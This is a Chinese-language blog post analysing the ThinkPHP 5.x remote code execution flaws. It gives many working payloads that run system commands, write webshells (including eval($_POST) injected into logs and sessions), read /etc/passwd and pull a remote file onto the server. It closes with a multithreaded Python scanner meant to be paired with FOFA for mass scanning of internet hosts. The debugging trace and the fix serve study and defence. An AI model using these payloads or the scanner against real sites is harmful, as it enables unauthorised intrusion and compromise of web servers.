之前只是學會如何去利用,但是沒有掌握這個漏洞的原理,因此這里復現一下這個漏洞,並且總結出一些利用方法
Thinkphp有兩大版本的區別
ThinkPHP 5.0-5.0.24
ThinkPHP 5.1.0-5.1.30
5.0.x
?s=index/think\config/get&name=database.username // 獲取配置信息
?s=index/\think\Lang/load&file=../../test.jpg // 包含任意文件
?s=index/\think\Config/load&file=../../t.php // 包含任意.php文件
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index|think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][0]=whoami
5.1.x
?s=index/\think\Request/input&filter[]=system&data=pwd
?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
這些都是因為PHP未開啟強制路由造成的,還有一種是利用變量覆蓋達到命令執行的目的
http://php.local/thinkphp5.0.5/public/index.php?s=index
post
_method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo
_method=__construct&filter[]=system&method=GET&get[]=whoami
# ThinkPHP <= 5.0.13
POST /?s=index/index
s=whoami&_method=__construct&method=&filter[]=system
# ThinkPHP <= 5.0.23、5.1.0 <= 5.1.16 需要開啟框架app_debug
POST /
_method=__construct&filter[]=system&server[REQUEST_METHOD]=ls -al
# ThinkPHP <= 5.0.23 需要存在xxx的method路由,例如captcha
POST /?s=xxx HTTP/1.1
_method=__construct&filter[]=system&method=get&get[]=ls+-al
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls
下面會分逐一析一下
未開啟強制路由命令執行
常見Paylaod如
?s=index/\think\Request/input&filter[]=system&data=pwd
?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
首先 ThinkPhp默認開啟了路由的兼容模式

那么在路由未過濾的情況下,我們就可以調用任意函數,因此就造成我們前面的命令執行
例如 think\view\driver\Php
中的 display
方法

我們傳入一個 content就可以代碼執行了

我們在 App.php
的解析路由中下個斷點

這里面在前面實例化了 request
然后調用 routeCheck
跟進一下

首先通過 path()
方法獲取我們傳入的路徑()

沒有過濾

接着在進入路由檢測

其實就是把 /
變為 |

之后再進入 parseUrl


將 /
換為 |
在進入 parseUrlPath

根據 |
取出,模塊 控制器 操作 以及參數

最后可以看見調用了我們想利用的控制器
使用 \think\view\driver\Think
后面測試這個也可以
?s=index/\think\view\driver\Think/display&template=<?php%20phpinfo();?>

利用擴展
命令執行
既然我們可以控制了調用這些控制器,那么我們才總結一下有哪些可用的GetShell的方法吧
使用 \think\view\driver\Php

直接執行Php代碼
?s=index/\think\view\driver\Php/display&content=<?php%20phpinfo();?>

使用 \think\App

這個類中的 invokeFunction
方法可以任意函數執行
?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20-l

使用 \think\Request
看師傅們的文章這個類中的 input
函數可以執行任意函數
我看了下我的環境,發現不可以(應該是環境問題)

?s=index/\think\Request/input&filter[]=system&data=pwd
使用 \think\Container
我這邊環境沒這個類
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
寫Webshell
使用 \think\app
寫Shell
可以命令執行就可以寫了~
?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=copy(%27遠程地址%27,%27333.php%27)
使用 \think\template\driver\file

直接寫Shell
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
使用 \think\view\driver\Think
利用模板生成Shell

?s=index/\think\view\driver\Think/display&template=<?php phpinfo();?>
shell位於runtime/temp/md5(template的值).php

並且這個也可以執行命令

其他利用
5.0.x
?s=index/\think\config/get&name=database.username // 獲取配置信息
?s=index/\think\Lang/load&file=../../test.jpg // 包含任意文件
?s=index/\think\Config/load&file=../../t.php // 包含任意.php文件
第一個使用 \think\config
獲取配置信息




第二個任意文件包含利用的是 \think\Lang

?s=index/\think\Lang/load&file=./shell.php

此函數有多種利用方式,不限於代碼執行、反序列化
任意文件讀取
http://host-5/index.php?s=index/\think\Lang/load&file=file:///etc/passwd
若是不包含php的話直接利用此方法讀取文件

暫時就測試了只有File協議可用,其他的應該會被過濾
第三個包含任意Php文件利用 \think\Config

驗證了后綴名
?s=index/\think\Config/load&file=./shell.php

修復方式
// 獲取控制器名
$controller = strip_tags($result[1] ?: $config['default_controller']);
if (!preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) {
throw new HttpException(404, 'controller not exists:' . $controller);
}
使用正則獲取控制器

小小總結
關於Thinkphp路由的利用就到這里面了,其實分析的並不是很好,因為這個框架我沒有多去了解他,甚至有一些地方是斷章取義的,但是這些只是作為本人學習和記錄,望大家諒解.
還有就是利用方法的改變,對於現在直接RCE的機會不大,一般都是去文件包含等日志,反序列化等,文末后面會記錄一下
method __contruct導致的RCE
簡單的測試一下

首先現在 \think\Request.php
中下斷點

這里面存在變量覆蓋,就是將 $this->method 的值覆蓋為我們傳入的值

我們看一下 var_method
的值

並且后面我還可以用這個調用此類的任意函數

Payload里面選擇的函數是此類的構造函數

這里面存在覆蓋,我們可以將此類中的任意屬性替換掉

這個是 Payload 構造的
但是這個會在什么時候被調用呢?
在 App.php
中,若開啟了Debug,會調用 param()
方法


調用 Method()
方法
Method就是我們可以覆蓋變量的方法
跟進 Server()

調用 input
,這里面有兩個參數可控
跟進

調用 filterValue
,且1 3參數可控

最后達到命令執行

?s=captcha
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls
有很多不懂的地方,我這里面只是斷章取義的理解,勿噴

每個版本的利用方法可以參考
https://y4er.com/post/thinkphp5-rce/
ThinkPhp的多種利用方式
寫Shell進日志
_method=__construct&method=get&filter[]=call_user_func&server[]=phpinfo&get[]=<?php eval($_POST['x'])?>
寫入的日志位於 runtime/log/202011/07.log //根據日期決定
_method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=../runtime/log/202011/07.log&x=phpinfo();

包含Session
寫入Session
_method=__construct&filter[]=think\Session::set&method=get&get[]=<?php eval($_POST['x'])?>&server[]=1
包含
_method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=/tmp/sess_kking&x=phpinfo();
//kking改為你的session的ID

參考這個大佬的
https://xz.aliyun.com/t/6106
批量檢測腳本
既然分析完了,就來寫個批量的分析腳本試試看吧
分析通用型
因為是掃描器所以我們需要選擇一個穩定的 Payload(最好很多版本都可用的),這里面我選擇的是 \think\app
里面的 invokefunction
函數
分析實戰性
實戰中一般有很大的可能會遇到 寶塔 或者其他waf設備,因此不適用於命令執行、代碼執行直接驗證
我這里面使用Var_dump驗證

?s=index/\think\app/invokefunction&function=var_dump&vars[0]=this%20a%20test
這個是針對於未開啟強制路由的,接下來我們換成變量覆蓋的試試

?s=captcha
_method=__construct&filter[]=var_dump&method=get&server[REQUEST_METHOD]=aa623a8a2a34729b095ffaf5b48d48b0
接下來就來寫腳本了,下面是寫的測試腳本,支持url以及文件
Argument is lose
Example: xx.py -u url
Example: xx.py -f 1.txt
#coding=utf-8
from argparse import ArgumentParser,FileType
import sys
import requests
from queue import Queue
from threading import Thread
import warnings
warnings.filterwarnings("ignore")
proxies={
'http':"http://127.0.0.1:8088",
}
pocurl="/index.php?s=index/\\think\\app/invokefunction&function=var_dump&vars[0]=aa623a8a2a34729b095ffaf5b48d48b0"
postdata={
"_method":"__construct",
"filter[]":"var_dump",
"method":"get",
"server[REQUEST_METHOD]":"aa623a8a2a34729b095ffaf5b48d48b0"
}
def worker(q):
while True:
try:
data=q.get()
workerone(data)
except Exception as e:
pass
finally:
q.task_done()
pass
def workerone(url):
if "http" not in url:
url="http://"+url
url2=str(url).replace("index.php","")+pocurl
url1=str(url).replace("index.php","")+"/index.php?s=captcha"
verity1=requests.get(url2,timeout=15, verify=False)
if "aa623a8a2a34729b095ffaf5b48d48b0" in verity1.text:
print(url+"Exist vuln,\npayload:"+url)
verity2=requests.post(url1,data=postdata,timeout=15, verify=False)
if "aa623a8a2a34729b095ffaf5b48d48b0" in verity2.text:
print(url+" Exist vuln\npayload:?s=captcha\n_method=__construct&filter[]=var_dump&method=get&server[REQUEST_METHOD]=aa623a8a2a34729b095ffaf5b48d48b0")
def main():
if len(sys.argv) < 3:
print("Argument is lose")
print("Example: xx.py -u url\nExample: xx.py -f 1.txt")
exit(0)
if sys.argv[1] == "-u":
workerone(sys.argv[2])
if sys.argv[1]=="-f":
file=open(str(sys.argv[2]))
q=Queue(20)
for _ in range(20):
t=Thread(target=worker,args=(q,))
t.start()
for line in file.readlines():
line=line.strip()
q.put(line)
q.join()
if __name__=='__main__':
main()
再配合fofa批量查詢

不過因為這個漏洞很久了,因此效果不是很理想
參考
https://y4er.com/post/thinkphp5-rce/
https://github.com/Mochazz/ThinkPHP-Vuln
https://xz.aliyun.com/t/6106